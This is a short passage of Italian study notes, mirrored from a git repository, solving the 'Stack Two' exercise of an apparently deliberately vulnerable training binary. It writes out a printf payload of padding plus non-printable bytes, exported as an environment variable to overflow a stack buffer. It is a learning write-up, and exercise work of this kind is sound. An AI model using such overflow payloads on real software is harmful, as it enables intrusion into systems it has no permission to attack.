mirror of
https://github.com/Steffo99/appunti-magistrali.git
synced 2024-11-21 18:34:18 +00:00
905 B
905 B
Stack Two
Il valore desiderato richiede caratteri non stampabili.
Da bash
:
-
Si usa
printf
per trasformare le escape sequence nei caratteri desiderati:printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r'
-
Si usa la command substitution per scrivere i caratteri desiderati nel comando:
echo $(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
-
Si usa il comando
export
per impostare la variabile d'ambiente al valore desiderato:export ExploitEducation=$(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
-
Si esegue il programma da exploitare.
Soluzione
export ExploitEducation=$(printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\t\n\r')
./stack-two